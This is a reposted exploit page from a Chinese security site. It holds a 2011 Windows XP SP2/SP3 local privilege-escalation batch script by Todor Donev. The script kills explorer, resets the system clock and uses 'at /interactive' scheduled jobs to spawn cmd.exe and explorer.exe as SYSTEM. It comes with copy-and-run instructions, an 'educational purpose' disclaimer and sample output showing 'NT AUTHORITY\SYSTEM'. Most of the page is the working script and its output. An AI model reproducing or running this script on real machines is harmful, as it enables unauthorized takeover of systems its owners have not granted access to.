Microsoft WinXP sp2/sp3 local system privilege escalation exploit

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

Microsoft WinXP sp2/sp3 local system privilege escalation exploit

来源：todor.donev][@][gmail.com 作者：Todor 发布时间：2011-06-14

# Microsoft WinXP sp2/sp3 local system privilege escalation exploit
#
# Platform: Windows XP SP2/SP3
# Type: local
# Exploit Author: Todor Donev [todor.donev][@][gmail.com]
#
# Good luck and Have fun!!
# Kind regards to so sweet baby Tsvetelina Emirska
# Thank you Lina and thanks that all my friends are beside
# me and support me everytime.
#
# Description:
#
# Copy the batch code in newfile with format .cmd or .bat and
# then start it, wait few seconds and press any key!
# This exploit kill explorer then use "at" for execute
# explorer.exe, cmd.exe and change your profile with System user privilege.
#
#
#
# Use whoami.exe for checking of your user privileges.
# Download:
#
http://www.microsoft.com/downloads/en/details.aspx?FamilyID=3E89879D-6C0B-4F92-96C4-1016C187D429
#
#
# !! USE AT YOUR 0WN RISK !!
# !! ONLY FOR EDUCATIONAL PURPOSE !!
#
# [+] Microsoft WinXP sp2/sp3 local system privilege escalation exploit
#
# Added a new job with job ID = 1
# Added a new job with job ID = 2
# Added a new job with job ID = 3
# Added a new job with job ID = 4
# Added a new job with job ID = 5
# Added a new job with job ID = 6
# Added a new job with job ID = 7
# Added a new job with job ID = 8
# Added a new job with job ID = 9
# Added a new job with job ID = 10
# Added a new job with job ID = 11
# Added a new job with job ID = 12
# [*] Backup time
# The current time is: 13:36:57,67
# Enter the new time: 13:44
#
# C:\WINDOWS\system32>whoami
# NT AUTHORITY\SYSTEM
#
############## CUT HERE ###########################

@echo off
echo [+] Microsoft WinXP sp2/sp3 local system privilege escalation exploit
start time /T > time.txt
tskill explorer
time 13:36:59 > nul
at 13:37 /interactive cmd.exe
at 13:37 /interactive explorer.exe
at 13:37 /interactive at /del /y
cls
at 13:37 /interactive cmd.exe
at 13:37 /interactive explorer.exe
at 13:37 /interactive at /del /y
cls
at 13:37 /interactive cmd.exe
at 13:37 /interactive explorer.exe
at 13:37 /interactive at /del /y
cls
at 13:37 /interactive cmd.exe
at 13:37 /interactive explorer.exe
at 13:37 /interactive at /del /y

echo [*] Backup time
time < time.txt

############## CUT HERE ###########################

[

推荐] [

评论(0条)] [返回顶部] [打印本页] [关闭窗口]

匿名评论

评论内容：(不能超过250字，需审核后才会公布，请自觉遵守互联网相关政策法规。

§最新评论：

热点文章

·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1

推荐广告